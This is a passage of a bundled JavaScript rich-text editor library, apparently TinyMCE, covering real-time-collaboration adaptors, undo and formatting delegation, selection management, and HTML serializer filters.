        extra: (undoManager, index, callback1, callback2) => extra$1(editor, undoManager, index, callback1, callback2)
      },
      formatter: {
        match: (name, vars, node, similar) => match$2(editor, name, vars, node, similar),
        matchAll: (names, vars) => matchAll(editor, names, vars),
        matchNode: (node, name, vars, similar) => matchNode(editor, node, name, vars, similar),
        canApply: name => canApply(editor, name),
        closest: names => closest$1(editor, names),
        apply: (name, vars, node) => applyFormat$1(editor, name, vars, node),
        remove: (name, vars, node, similar) => remove$2(editor, name, vars, node, similar),
        toggle: (name, vars, node) => toggle(editor, name, vars, node),
        formatChanged: (registeredFormatListeners, formats, callback, similar, vars) => formatChangedInternal(editor, registeredFormatListeners, formats, callback, similar, vars)
      },
      editor: {
        getContent: args => getContentInternal(editor, args),
        setContent: (content, args) => setContentInternal(editor, content, args),
        insertContent: (value, details) => insertHtmlAtCaret(editor, value, details),
        addVisual: elm => addVisualInternal(editor, elm)
      },
      selection: { getContent: (format, args) => getSelectedContentInternal(editor, format, args) },
      autocompleter: {
        addDecoration: range => create$9(editor, range),
        removeDecoration: () => remove$3(editor, SugarElement.fromDom(editor.getBody()))
      },
      raw: { getModel: () => Optional.none() }
    });
    const makeRtcAdaptor = rtcEditor => {
      const defaultVars = vars => isObject(vars) ? vars : {};
      const {init, undoManager, formatter, editor, selection, autocompleter, raw} = rtcEditor;
      return {
        init: { bindEvents: init.bindEvents },
        undoManager: {
          beforeChange: undoManager.beforeChange,
          add: undoManager.add,
          undo: undoManager.undo,
          redo: undoManager.redo,
          clear: undoManager.clear,
          reset: undoManager.reset,
          hasUndo: undoManager.hasUndo,
          hasRedo: undoManager.hasRedo,
          transact: (_undoManager, _locks, fn) => undoManager.transact(fn),
          ignore: (_locks, callback) => undoManager.ignore(callback),
          extra: (_undoManager, _index, callback1, callback2) => undoManager.extra(callback1, callback2)
        },
        formatter: {
          match: (name, vars, _node, similar) => formatter.match(name, defaultVars(vars), similar),
          matchAll: formatter.matchAll,
          matchNode: formatter.matchNode,
          canApply: name => formatter.canApply(name),
          closest: names => formatter.closest(names),
          apply: (name, vars, _node) => formatter.apply(name, defaultVars(vars)),
          remove: (name, vars, _node, _similar) => formatter.remove(name, defaultVars(vars)),
          toggle: (name, vars, _node) => formatter.toggle(name, defaultVars(vars)),
          formatChanged: (_rfl, formats, callback, similar, vars) => formatter.formatChanged(formats, callback, similar, vars)
        },
        editor: {
          getContent: args => editor.getContent(args),
          setContent: (content, args) => {
            return {
              content: editor.setContent(content, args),
              html: ''
            };
          },
          insertContent: (content, _details) => {
            editor.insertContent(content);
            return '';
          },
          addVisual: editor.addVisual
        },
        selection: { getContent: (_format, args) => selection.getContent(args) },
        autocompleter: {
          addDecoration: autocompleter.addDecoration,
          removeDecoration: autocompleter.removeDecoration
        },
        raw: { getModel: () => Optional.some(raw.getRawModel()) }
      };
    };
    const makeNoopAdaptor = () => {
      const nul = constant(null);
      const empty = constant('');
      return {
        init: { bindEvents: noop },
        undoManager: {
          beforeChange: noop,
          add: nul,
          undo: nul,
          redo: nul,
          clear: noop,
          reset: noop,
          hasUndo: never,
          hasRedo: never,
          transact: nul,
          ignore: noop,
          extra: noop
        },
        formatter: {
          match: never,
          matchAll: constant([]),
          matchNode: constant(undefined),
          canApply: never,
          closest: empty,
          apply: noop,
          remove: noop,
          toggle: noop,
          formatChanged: constant({ unbind: noop })
        },
        editor: {
          getContent: empty,
          setContent: constant({
            content: '',
            html: ''
          }),
          insertContent: constant(''),
          addVisual: noop
        },
        selection: { getContent: empty },
        autocompleter: {
          addDecoration: noop,
          removeDecoration: noop
        },
        raw: { getModel: constant(Optional.none()) }
      };
    };
    const isRtc = editor => has$2(editor.plugins, 'rtc');
    const getRtcSetup = editor => get$a(editor.plugins, 'rtc').bind(rtcPlugin => Optional.from(rtcPlugin.setup));
    const setup$s = editor => {
      const editorCast = editor;
      return getRtcSetup(editor).fold(() => {
        editorCast.rtcInstance = makePlainAdaptor(editor);
        return Optional.none();
      }, setup => {
        editorCast.rtcInstance = makeNoopAdaptor();
        return Optional.some(() => setup().then(rtcEditor => {
          editorCast.rtcInstance = makeRtcAdaptor(rtcEditor);
          return rtcEditor.rtc.isRemote;
        }));
      });
    };
    const getRtcInstanceWithFallback = editor => editor.rtcInstance ? editor.rtcInstance : makePlainAdaptor(editor);
    const getRtcInstanceWithError = editor => {
      const rtcInstance = editor.rtcInstance;
      if (!rtcInstance) {
        throw new Error('Failed to get RTC instance not yet initialized.');
      } else {
        return rtcInstance;
      }
    };
    const beforeChange = (editor, locks, beforeBookmark) => {
      getRtcInstanceWithError(editor).undoManager.beforeChange(locks, beforeBookmark);
    };
    const addUndoLevel = (editor, undoManager, index, locks, beforeBookmark, level, event) => getRtcInstanceWithError(editor).undoManager.add(undoManager, index, locks, beforeBookmark, level, event);
    const undo = (editor, undoManager, locks, index) => getRtcInstanceWithError(editor).undoManager.undo(undoManager, locks, index);
    const redo = (editor, index, data) => getRtcInstanceWithError(editor).undoManager.redo(index, data);
    const clear = (editor, undoManager, index) => {
      getRtcInstanceWithError(editor).undoManager.clear(undoManager, index);
    };
    const reset = (editor, undoManager) => {
      getRtcInstanceWithError(editor).undoManager.reset(undoManager);
    };
    const hasUndo = (editor, undoManager, index) => getRtcInstanceWithError(editor).undoManager.hasUndo(undoManager, index);
    const hasRedo = (editor, undoManager, index) => getRtcInstanceWithError(editor).undoManager.hasRedo(undoManager, index);
    const transact = (editor, undoManager, locks, callback) => getRtcInstanceWithError(editor).undoManager.transact(undoManager, locks, callback);
    const ignore = (editor, locks, callback) => {
      getRtcInstanceWithError(editor).undoManager.ignore(locks, callback);
    };
    const extra = (editor, undoManager, index, callback1, callback2) => {
      getRtcInstanceWithError(editor).undoManager.extra(undoManager, index, callback1, callback2);
    };
    const matchFormat = (editor, name, vars, node, similar) => getRtcInstanceWithError(editor).formatter.match(name, vars, node, similar);
    const matchAllFormats = (editor, names, vars) => getRtcInstanceWithError(editor).formatter.matchAll(names, vars);
    const matchNodeFormat = (editor, node, name, vars, similar) => getRtcInstanceWithError(editor).formatter.matchNode(node, name, vars, similar);
    const canApplyFormat = (editor, name) => getRtcInstanceWithError(editor).formatter.canApply(name);
    const closestFormat = (editor, names) => getRtcInstanceWithError(editor).formatter.closest(names);
    const applyFormat = (editor, name, vars, node) => {
      getRtcInstanceWithError(editor).formatter.apply(name, vars, node);
    };
    const removeFormat = (editor, name, vars, node, similar) => {
      getRtcInstanceWithError(editor).formatter.remove(name, vars, node, similar);
    };
    const toggleFormat = (editor, name, vars, node) => {
      getRtcInstanceWithError(editor).formatter.toggle(name, vars, node);
    };
    const formatChanged = (editor, registeredFormatListeners, formats, callback, similar, vars) => getRtcInstanceWithError(editor).formatter.formatChanged(registeredFormatListeners, formats, callback, similar, vars);
    const getContent$2 = (editor, args) => getRtcInstanceWithFallback(editor).editor.getContent(args);
    const setContent$2 = (editor, content, args) => getRtcInstanceWithFallback(editor).editor.setContent(content, args);
    const insertContent$1 = (editor, value, details) => getRtcInstanceWithFallback(editor).editor.insertContent(value, details);
    const getSelectedContent = (editor, format, args) => getRtcInstanceWithError(editor).selection.getContent(format, args);
    const addVisual$1 = (editor, elm) => getRtcInstanceWithError(editor).editor.addVisual(elm);
    const bindEvents = editor => getRtcInstanceWithError(editor).init.bindEvents();
    const addAutocompleterDecoration = (editor, range) => getRtcInstanceWithError(editor).autocompleter.addDecoration(range);
    const removeAutocompleterDecoration = editor => getRtcInstanceWithError(editor).autocompleter.removeDecoration();

    const getContent$1 = (editor, args = {}) => {
      const format = args.format ? args.format : 'html';
      return getSelectedContent(editor, format, args);
    };

    const removeEmpty = text => {
      if (text.dom.length === 0) {
        remove$6(text);
        return Optional.none();
      } else {
        return Optional.some(text);
      }
    };
    const walkPastBookmark = (node, start) => node.filter(elm => BookmarkManager.isBookmarkNode(elm.dom)).bind(start ? nextSibling : prevSibling);
    const merge$1 = (outer, inner, rng, start) => {
      const outerElm = outer.dom;
      const innerElm = inner.dom;
      const oldLength = start ? outerElm.length : innerElm.length;
      if (start) {
        mergeTextNodes(outerElm, innerElm, false, !start);
        rng.setStart(innerElm, oldLength);
      } else {
        mergeTextNodes(innerElm, outerElm, false, !start);
        rng.setEnd(innerElm, oldLength);
      }
    };
    const normalizeTextIfRequired = (inner, start) => {
      parent(inner).each(root => {
        const text = inner.dom;
        if (start && needsToBeNbspLeft(root, CaretPosition(text, 0))) {
          normalizeWhitespaceAfter(text, 0);
        } else if (!start && needsToBeNbspRight(root, CaretPosition(text, text.length))) {
          normalizeWhitespaceBefore(text, text.length);
        }
      });
    };
    const mergeAndNormalizeText = (outerNode, innerNode, rng, start) => {
      outerNode.bind(outer => {
        const normalizer = start ? normalizeWhitespaceBefore : normalizeWhitespaceAfter;
        normalizer(outer.dom, start ? outer.dom.length : 0);
        return innerNode.filter(isText$b).map(inner => merge$1(outer, inner, rng, start));
      }).orThunk(() => {
        const innerTextNode = walkPastBookmark(innerNode, start).or(innerNode).filter(isText$b);
        return innerTextNode.map(inner => normalizeTextIfRequired(inner, start));
      });
    };
    const rngSetContent = (rng, fragment) => {
      const firstChild = Optional.from(fragment.firstChild).map(SugarElement.fromDom);
      const lastChild = Optional.from(fragment.lastChild).map(SugarElement.fromDom);
      rng.deleteContents();
      rng.insertNode(fragment);
      const prevText = firstChild.bind(prevSibling).filter(isText$b).bind(removeEmpty);
      const nextText = lastChild.bind(nextSibling).filter(isText$b).bind(removeEmpty);
      mergeAndNormalizeText(prevText, firstChild, rng, true);
      mergeAndNormalizeText(nextText, lastChild, rng, false);
      rng.collapse(false);
    };
    const setupArgs$2 = (args, content) => ({
      format: 'html',
      ...args,
      set: true,
      selection: true,
      content
    });
    const cleanContent = (editor, args) => {
      if (args.format !== 'raw') {
        const rng = editor.selection.getRng();
        const contextBlock = editor.dom.getParent(rng.commonAncestorContainer, editor.dom.isBlock);
        const contextArgs = contextBlock ? { context: contextBlock.nodeName.toLowerCase() } : {};
        const node = editor.parser.parse(args.content, {
          forced_root_block: false,
          ...contextArgs,
          ...args
        });
        return HtmlSerializer({ validate: false }, editor.schema).serialize(node);
      } else {
        return args.content;
      }
    };
    const setContent$1 = (editor, content, args = {}) => {
      const defaultedArgs = setupArgs$2(args, content);
      preProcessSetContent(editor, defaultedArgs).each(updatedArgs => {
        const cleanedContent = cleanContent(editor, updatedArgs);
        const rng = editor.selection.getRng();
        rngSetContent(rng, rng.createContextualFragment(cleanedContent));
        editor.selection.setRng(rng);
        scrollRangeIntoView(editor, rng);
        postProcessSetContent(editor, cleanedContent, updatedArgs);
      });
    };

    const deleteFromCallbackMap = (callbackMap, selector, callback) => {
      if (has$2(callbackMap, selector)) {
        const newCallbacks = filter$5(callbackMap[selector], cb => cb !== callback);
        if (newCallbacks.length === 0) {
          delete callbackMap[selector];
        } else {
          callbackMap[selector] = newCallbacks;
        }
      }
    };
    var SelectorChanged = (dom, editor) => {
      let selectorChangedData;
      let currentSelectors;
      const findMatchingNode = (selector, nodes) => find$2(nodes, node => dom.is(node, selector));
      const getParents = elem => dom.getParents(elem, undefined, dom.getRoot());
      const setup = () => {
        selectorChangedData = {};
        currentSelectors = {};
        editor.on('NodeChange', e => {
          const node = e.element;
          const parents = getParents(node);
          const matchedSelectors = {};
          each$d(selectorChangedData, (callbacks, selector) => {
            findMatchingNode(selector, parents).each(node => {
              if (!currentSelectors[selector]) {
                each$e(callbacks, callback => {
                  callback(true, {
                    node,
                    selector,
                    parents
                  });
                });
                currentSelectors[selector] = callbacks;
              }
              matchedSelectors[selector] = callbacks;
            });
          });
          each$d(currentSelectors, (callbacks, selector) => {
            if (!matchedSelectors[selector]) {
              delete currentSelectors[selector];
              each$e(callbacks, callback => {
                callback(false, {
                  node,
                  selector,
                  parents
                });
              });
            }
          });
        });
      };
      return {
        selectorChangedWithUnbind: (selector, callback) => {
          if (!selectorChangedData) {
            setup();
          }
          if (!selectorChangedData[selector]) {
            selectorChangedData[selector] = [];
          }
          selectorChangedData[selector].push(callback);
          findMatchingNode(selector, getParents(editor.selection.getStart())).each(() => {
            currentSelectors[selector] = selectorChangedData[selector];
          });
          return {
            unbind: () => {
              deleteFromCallbackMap(selectorChangedData, selector, callback);
              deleteFromCallbackMap(currentSelectors, selector, callback);
            }
          };
        }
      };
    };

    const isAttachedToDom = node => {
      return !!(node && node.ownerDocument) && contains(SugarElement.fromDom(node.ownerDocument), SugarElement.fromDom(node));
    };
    const isValidRange = rng => {
      if (!rng) {
        return false;
      } else {
        return isAttachedToDom(rng.startContainer) && isAttachedToDom(rng.endContainer);
      }
    };
    const EditorSelection = (dom, win, serializer, editor) => {
      let selectedRange;
      let explicitRange;
      const {selectorChangedWithUnbind} = SelectorChanged(dom, editor);
      const setCursorLocation = (node, offset) => {
        const rng = dom.createRng();
        if (isNonNullable(node) && isNonNullable(offset)) {
          rng.setStart(node, offset);
          rng.setEnd(node, offset);
          setRng(rng);
          collapse(false);
        } else {
          moveEndPoint(dom, rng, editor.getBody(), true);
          setRng(rng);
        }
      };
      const getContent = args => getContent$1(editor, args);
      const setContent = (content, args) => setContent$1(editor, content, args);
      const getStart$1 = real => getStart(editor.getBody(), getRng$1(), real);
      const getEnd = real => getEnd$1(editor.getBody(), getRng$1(), real);
      const getBookmark = (type, normalized) => bookmarkManager.getBookmark(type, normalized);
      const moveToBookmark = bookmark => bookmarkManager.moveToBookmark(bookmark);
      const select$1 = (node, content) => {
        select(dom, node, content).each(setRng);
        return node;
      };
      const isCollapsed = () => {
        const rng = getRng$1(), sel = getSel();
        if (!rng || rng.item) {
          return false;
        }
        if (rng.compareEndPoints) {
          return rng.compareEndPoints('StartToEnd', rng) === 0;
        }
        return !sel || rng.collapsed;
      };
      const collapse = toStart => {
        const rng = getRng$1();
        rng.collapse(!!toStart);
        setRng(rng);
      };
      const getSel = () => win.getSelection ? win.getSelection() : win.document.selection;
      const getRng$1 = () => {
        let rng;
        const tryCompareBoundaryPoints = (how, sourceRange, destinationRange) => {
          try {
            return sourceRange.compareBoundaryPoints(how, destinationRange);
          } catch (ex) {
            return -1;
          }
        };
        const doc = win.document;
        if (isNonNullable(editor.bookmark) && !hasFocus(editor)) {
          const bookmark = getRng(editor);
          if (bookmark.isSome()) {
            return bookmark.map(r => processRanges(editor, [r])[0]).getOr(doc.createRange());
          }
        }
        try {
          const selection = getSel();
          if (selection && !isRestrictedNode(selection.anchorNode)) {
            if (selection.rangeCount > 0) {
              rng = selection.getRangeAt(0);
            } else {
              rng = doc.createRange();
            }
            rng = processRanges(editor, [rng])[0];
          }
        } catch (ex) {
        }
        if (!rng) {
          rng = doc.createRange();
        }
        if (isDocument$1(rng.startContainer) && rng.collapsed) {
          const elm = dom.getRoot();
          rng.setStart(elm, 0);
          rng.setEnd(elm, 0);
        }
        if (selectedRange && explicitRange) {
          if (tryCompareBoundaryPoints(rng.START_TO_START, rng, selectedRange) === 0 && tryCompareBoundaryPoints(rng.END_TO_END, rng, selectedRange) === 0) {
            rng = explicitRange;
          } else {
            selectedRange = null;
            explicitRange = null;
          }
        }
        return rng;
      };
      const setRng = (rng, forward) => {
        if (!isValidRange(rng)) {
          return;
        }
        const sel = getSel();
        const evt = editor.dispatch('SetSelectionRange', {
          range: rng,
          forward
        });
        rng = evt.range;
        if (sel) {
          explicitRange = rng;
          try {
            sel.removeAllRanges();
            sel.addRange(rng);
          } catch (ex) {
          }
          if (forward === false && sel.extend) {
            sel.collapse(rng.endContainer, rng.endOffset);
            sel.extend(rng.startContainer, rng.startOffset);
          }
          selectedRange = sel.rangeCount > 0 ? sel.getRangeAt(0) : null;
        }
        if (!rng.collapsed && rng.startContainer === rng.endContainer && (sel === null || sel === void 0 ? void 0 : sel.setBaseAndExtent)) {
          if (rng.endOffset - rng.startOffset < 2) {
            if (rng.startContainer.hasChildNodes()) {
              const node = rng.startContainer.childNodes[rng.startOffset];
              if (node && node.nodeName === 'IMG') {
                sel.setBaseAndExtent(rng.startContainer, rng.startOffset, rng.endContainer, rng.endOffset);
                if (sel.anchorNode !== rng.startContainer || sel.focusNode !== rng.endContainer) {
                  sel.setBaseAndExtent(node, 0, node, 1);
                }
              }
            }
          }
        }
        editor.dispatch('AfterSetSelectionRange', {
          range: rng,
          forward
        });
      };
      const setNode = elm => {
        setContent(dom.getOuterHTML(elm));
        return elm;
      };
      const getNode$1 = () => getNode(editor.getBody(), getRng$1());
      const getSelectedBlocks$1 = (startElm, endElm) => getSelectedBlocks(dom, getRng$1(), startElm, endElm);
      const isForward = () => {
        const sel = getSel();
        const anchorNode = sel === null || sel === void 0 ? void 0 : sel.anchorNode;
        const focusNode = sel === null || sel === void 0 ? void 0 : sel.focusNode;
        if (!sel || !anchorNode || !focusNode || isRestrictedNode(anchorNode) || isRestrictedNode(focusNode)) {
          return true;
        }
        const anchorRange = dom.createRng();
        const focusRange = dom.createRng();
        try {
          anchorRange.setStart(anchorNode, sel.anchorOffset);
          anchorRange.collapse(true);
          focusRange.setStart(focusNode, sel.focusOffset);
          focusRange.collapse(true);
        } catch (e) {
          return true;
        }
        return anchorRange.compareBoundaryPoints(anchorRange.START_TO_START, focusRange) <= 0;
      };
      const normalize = () => {
        const rng = getRng$1();
        const sel = getSel();
        if (!hasMultipleRanges(sel) && hasAnyRanges(editor)) {
          const normRng = normalize$2(dom, rng);
          normRng.each(normRng => {
            setRng(normRng, isForward());
          });
          return normRng.getOr(rng);
        }
        return rng;
      };
      const selectorChanged = (selector, callback) => {
        selectorChangedWithUnbind(selector, callback);
        return exports;
      };
      const getScrollContainer = () => {
        let scrollContainer;
        let node = dom.getRoot();
        while (node && node.nodeName !== 'BODY') {
          if (node.scrollHeight > node.clientHeight) {
            scrollContainer = node;
            break;
          }
          node = node.parentNode;
        }
        return scrollContainer;
      };
      const scrollIntoView = (elm, alignToTop) => {
        if (isNonNullable(elm)) {
          scrollElementIntoView(editor, elm, alignToTop);
        } else {
          scrollRangeIntoView(editor, getRng$1(), alignToTop);
        }
      };
      const placeCaretAt = (clientX, clientY) => setRng(fromPoint(clientX, clientY, editor.getDoc()));
      const getBoundingClientRect = () => {
        const rng = getRng$1();
        return rng.collapsed ? CaretPosition.fromRangeStart(rng).getClientRects()[0] : rng.getBoundingClientRect();
      };
      const destroy = () => {
        win = selectedRange = explicitRange = null;
        controlSelection.destroy();
      };
      const expand = (options = { type: 'word' }) => setRng(RangeUtils(dom).expand(getRng$1(), options));
      const exports = {
        dom,
        win,
        serializer,
        editor,
        expand,
        collapse,
        setCursorLocation,
        getContent,
        setContent,
        getBookmark,
        moveToBookmark,
        select: select$1,
        isCollapsed,
        isForward,
        setNode,
        getNode: getNode$1,
        getSel,
        setRng,
        getRng: getRng$1,
        getStart: getStart$1,
        getEnd,
        getSelectedBlocks: getSelectedBlocks$1,
        normalize,
        selectorChanged,
        selectorChangedWithUnbind,
        getScrollContainer,
        scrollIntoView,
        placeCaretAt,
        getBoundingClientRect,
        destroy
      };
      const bookmarkManager = BookmarkManager(exports);
      const controlSelection = ControlSelection(exports, editor);
      exports.bookmarkManager = bookmarkManager;
      exports.controlSelection = controlSelection;
      return exports;
    };

    const register$3 = (htmlParser, settings, dom) => {
      htmlParser.addAttributeFilter('data-mce-tabindex', (nodes, name) => {
        let i = nodes.length;
        while (i--) {
          const node = nodes[i];
          node.attr('tabindex', node.attr('data-mce-tabindex'));
          node.attr(name, null);
        }
      });
      htmlParser.addAttributeFilter('src,href,style', (nodes, name) => {
        const internalName = 'data-mce-' + name;
        const urlConverter = settings.url_converter;
        const urlConverterScope = settings.url_converter_scope;
        let i = nodes.length;
        while (i--) {
          const node = nodes[i];
          let value = node.attr(internalName);
          if (value !== undefined) {
            node.attr(name, value.length > 0 ? value : null);
            node.attr(internalName, null);
          } else {
            value = node.attr(name);
            if (name === 'style') {
              value = dom.serializeStyle(dom.parseStyle(value), node.name);
            } else if (urlConverter) {
              value = urlConverter.call(urlConverterScope, value, name, node.name);
            }
            node.attr(name, value.length > 0 ? value : null);
          }
        }
      });
      htmlParser.addAttributeFilter('class', nodes => {
        let i = nodes.length;
        while (i--) {
          const node = nodes[i];
          let value = node.attr('class');
          if (value) {
            value = value.replace(/(?:^|\s)mce-item-\w+(?!\S)/g, '');
            node.attr('class', value.length > 0 ? value : null);
          }
        }
      });
      htmlParser.addAttributeFilter('data-mce-type', (nodes, name, args) => {
        let i = nodes.length;
        while (i--) {
          const node = nodes[i];
          if (node.attr('data-mce-type') === 'bookmark' && !args.cleanup) {
            const hasChildren = Optional.from(node.firstChild).exists(firstChild => {
              var _a;
              return !isZwsp((_a = firstChild.value) !== null && _a !== void 0 ? _a : '');
            });
            if (hasChildren) {
              node.unwrap();
            } else {
              node.remove();
            }
          }
        }
      });
      htmlParser.addNodeFilter('noscript', nodes => {
        var _a;
        let i = nodes.length;
        while (i--) {
          const node = nodes[i].firstChild;
          if (node) {
            node.value = Entities.decode((_a = node.value) !== null && _a !== void 0 ? _a : '');
          }
        }
      });
      htmlParser.addNodeFilter('script,style', (nodes, name) => {
        var _a;
        const trim = value => {
          return value.replace(/(<!--\[CDATA\[|\]\]-->)/g, '\n').replace(/^[\r\n]*|[\r\n]*$/g, '').replace(/^\s*((<!--)?(\s*\/\/)?\s*<!\[CDATA\[|(<!--\s*)?\/\*\s*<!\[CDATA\[\s*\*\/|(\/\/)?\s*<!--|\/\*\s*<!--\s*\*\/)\s*[\r\n]*/gi, '').replace(/\s*(\/\*\s*\]\]>\s*\*\/(-->)?|\s*\/\/\s*\]\]>(-->)?|\/\/\s*(-->)?|\]\]>|\/\*\s*-->\s*\*\/|\s*-->\s*)\s*$/g, '');
        };
        let i = nodes.length;
        while (i--) {
          const node = nodes[i];
          const firstChild = node.firstChild;
          const value = (_a = firstChild === null || firstChild === void 0 ? void 0 : firstChild.value) !== null && _a !== void 0 ? _a : '';
          if (name === 'script') {
            const type = node.attr('type');
            if (type) {
              node.attr('type', type === 'mce-no/type' ? null : type.replace(/^mce\-/, ''));
            }
            if (settings.element_format === 'xhtml' && firstChild && value.length > 0) {
              firstChild.value = '// <![CDATA[\n' + trim(value) + '\n// ]]>';
            }
          } else {
            if (settings.element_format === 'xhtml' && firstChild && value.length > 0) {
              firstChild.value = '<!--\n' + trim(value) + '\n-->';
            }
          }
        }
      });
      htmlParser.addNodeFilter('#comment', nodes => {
        let i = nodes.length;
        while (i--) {
          const node = nodes[i];
          const value = node.value;
          if (settings.preserve_cdata && (value === null || value === void 0 ? void 0 : value.indexOf('[CDATA[')) === 0) {
            node.name = '#cdata';
            node.type = 4;
            node.value = dom.decode(value.replace(/^\[CDATA\[|\]\]$/g, ''));
          } else if ((value === null || value === void 0 ? void 0 : value.indexOf('mce:protected ')) === 0) {
            node.name = '#text';
            node.type = 3;
            node.raw = true;
            node.value = unescape(value).substr(14);
          }
        }
      });
      htmlParser.addNodeFilter('xml:namespace,input', (nodes, name) => {
        let i = nodes.length;
        while (i--) {
          const node = nodes[i];
          if (node.type === 7) {
            node.remove();
          } else if (node.type === 1) {
            if (name === 'input' && !node.attr('type')) {
              node.attr('type', 'text');
            }
          }
        }
      });
      htmlParser.addAttributeFilter('data-mce-type', nodes => {
        each$e(nodes, node => {
          if (node.attr('data-mce-type') === 'format-caret') {
            if (node.isEmpty(htmlParser.schema.getNonEmptyElements())) {
              node.remove();
            } else {
              node.unwrap();
            }
          }
        });
      });
      htmlParser.addAttributeFilter('data-mce-src,data-mce-href,data-mce-style,' + 'data-mce-selected,data-mce-expando,data-mce-block,' + 'data-mce-type,data-mce-resize,data-mce-placeholder', (nodes, name) => {
        let i = nodes.length;
        while (i--) {
          nodes[i].attr(name, null);
        }
      });
    };
    const trimTrailingBr = rootNode => {
      const isBr = node => {
        return (node === null || node === void 0 ? void 0 : node.name) === 'br';
      };
      const brNode1 = rootNode.lastChild;
      if (isBr(brNode1)) {
        const brNode2 = brNode1.prev;
        if (isBr(brNode2)) {
          brNode1.remove();
          brNode2.remove();
        }
      }
    };

    const preProcess$1 = (editor, node, args) => {
      let oldDoc;
      const dom = editor.dom;
      let clonedNode = node.cloneNode(true);
      const impl = document.implementation;
      if (impl.createHTMLDocument) {
        const doc = impl.createHTMLDocument('');
        Tools.each(clonedNode.nodeName === 'BODY' ? clonedNode.childNodes : [clonedNode], node => {
          doc.body.appendChild(doc.importNode(node, true));
        });
        if (clonedNode.nodeName !== 'BODY') {
          clonedNode = doc.body.firstChild;
        } else {
          clonedNode = doc.body;
        }
        oldDoc = dom.doc;
        dom.doc = doc;
      }
      firePreProcess(editor, {
        ...args,
        node: clonedNode
      });
      if (oldDoc) {
        dom.doc = oldDoc;
      }
      return clonedNode;
    };
    const shouldFireEvent = (editor, args) => {
      return isNonNullable(editor) && editor.hasEventListeners('PreProcess') && !args.no_events;
    };
    const process$1 = (editor, node, args) => {
      return shouldFireEvent(editor, args) ? preProcess$1(editor, node, args) : node;
    };

    const addTempAttr = (htmlParser, tempAttrs, name) => {
      if (Tools.inArray(tempAttrs, name) === -1) {
        htmlParser.addAttributeFilter(name, (nodes, name) => {
          let i = nodes.length;
          while (i--) {
            nodes[i].attr(name, null);
          }
        });
        tempAttrs.push(name);
      }
    };
    const postProcess = (editor, args, content) => {
      if (!args.no_events && editor) {
        const outArgs = firePostProcess(editor, {
          ...args,
          content
        });
        return outArgs.content;
      } else {
        return content;
      }
    };
    const getHtmlFromNode = (dom, node, args) => {
      const html = trim$1(args.getInner ? node.innerHTML : dom.getOuterHTML(node));
      return args.selection || isWsPreserveElement(SugarElement.fromDom(node)) ? html : Tools.trim(html);
    };
    const parseHtml = (htmlParser, html, args) => {
      const parserArgs = args.selection ? {
        forced_root_block: false,
        ...args
      } : args;
      const rootNode = htmlParser.parse(html, parserArgs);
      trimTrailingBr(rootNode);
      return rootNode;
    };
    const serializeNode = (settings, schema, node) => {
      const htmlSerializer = HtmlSerializer(settings, schema);
      return htmlSerializer.serialize(node);
    };
    const toHtml = (editor, settings, schema, rootNode, args) => {
      const content = serializeNode(settings, schema, rootNode);
      return postProcess(editor, args, content);
    };
    const DomSerializerImpl = (settings, editor) => {
      const tempAttrs = ['data-mce-selected'];
      const dom = editor && editor.dom ? editor.dom : DOMUtils.DOM;
      const schema = editor && editor.schema ? editor.schema : Schema(settings);
      settings.entity_encoding = settings.entity_encoding || 'named';
      settings.remove_trailing_brs = 'remove_trailing_brs' in settings ? settings.remove_trailing_brs : true;
      const htmlParser = DomParser(settings, schema);
      register$3(htmlParser, settings, dom);
      const serialize = (node, parserArgs = {}) => {
        const args = {
          format: 'html',
          ...parserArgs
        };
        const targetNode = process$1(editor, node, args);
        const html = getHtmlFromNode(dom, targetNode, args);
        const rootNode = parseHtml(htmlParser, html, args);
        return args.format === 'tree' ? rootNode : toHtml(editor, settings, schema, rootNode, args);
      };
      return {
        schema,
        addNodeFilter: htmlParser.addNodeFilter,
        addAttributeFilter: htmlParser.addAttributeFilter,
        serialize: serialize,
        addRules: schema.addValidElements,
        setRules: schema.setValidElements,
        addTempAttr: curry(addTempAttr, htmlParser, tempAttrs),
        getTempAttrs: constant(tempAttrs),
        getNodeFilters: htmlParser.getNodeFilters,
        getAttributeFilters: htmlParser.getAttributeFilters,
        removeNodeFilter: htmlParser.removeNodeFilter,
        removeAttributeFilter: htmlParser.removeAttributeFilter
      };
    };

    const DomSerializer = (settings, editor) => {
      const domSerializer = DomSerializerImpl(settings, editor);
      return {
        schema: domSerializer.schema,
        addNodeFilter: domSerializer.addNodeFilter,
        addAttributeFilter: domSerializer.addAttributeFilter,
        serialize: domSerializer.serialize,
        addRules: domSerializer.addRules,
        setRules: domSerializer.setRules,
        addTempAttr: domSerializer.addTempAttr,
        getTempAttrs: domSerializer.getTempAttrs,
        getNodeFilters: domSerializer.getNodeFilters,
        getAttributeFilters: domSerializer.getAttributeFilters,
        removeNodeFilter: domSerializer.removeNodeFilter,
        removeAttributeFilter: domSerializer.removeAttributeFilter
      };
    };

    const defaultFormat$1 = 'html';
    const setupArgs$1 = (args, format) => ({
      ...args,
      format,
      get: true,
      getInner: true
    });
    const getContent = (editor, args = {}) => {
      const format = args.format ? args.format : defaultFormat$1;
      const defaultedArgs = setupArgs$1(args, format);
      return preProcessGetContent(editor, defaultedArgs).fold(identity, updatedArgs => {
        const content = getContent$2(editor, updatedArgs);
        return postProcessGetContent(editor, content, updatedArgs);
      });
    };

    const defaultFormat = 'html';
    const setupArgs = (args, content) => ({
      format: defaultFormat,
      ...args,
      set: true,
      content
    });
    const setContent = (editor, content, args = {}) => {
      const defaultedArgs = setupArgs(args, content);
      return preProcessSetContent(editor, defaultedArgs).map(updatedArgs => {
        const result = setContent$2(editor, updatedArgs.content, updatedArgs);
        postProcessSetContent(editor, result.html, updatedArgs);
        return result.content;
      }).getOr(content);
    };

    const removedOptions = ('autoresize_on_init,content_editable_state,padd_empty_with_br,block_elements,' + 'boolean_attributes,editor_deselector,editor_selector,elements,file_browser_callback_types,filepicker_validator_handler,' + 'force_hex_style_colors,force_p_newlines,gecko_spellcheck,images_dataimg_filter,media_scripts,mode,move_caret_before_on_enter_elements,' + 'non_empty_elements,self_closing_elements,short_ended_elements,special,spellchecker_select_languages,spellchecker_whitelist,' + 'tab_focus,tabfocus_elements,table_responsive_width,text_block_elements,text_inline_elements,toolbar_drawer,types,validate,whitespace_elements,' + 'paste_enable_default_filters,paste_filter_drop,paste_word_valid_elements,paste_retain_style_properties,paste_convert_word_fake_lists').split(',');
    const removedPlugins = 'bbcode,colorpicker,contextmenu,fullpage,legacyoutput,spellchecker,textcolor'.split(',');
    const getRemovedOptions = options => {
      const settingNames = filter$5(removedOptions, setting => has$2(options, setting));
      const forcedRootBlock = options.forced_root_block;
      if (forcedRootBlock === false || forcedRootBlock === '') {
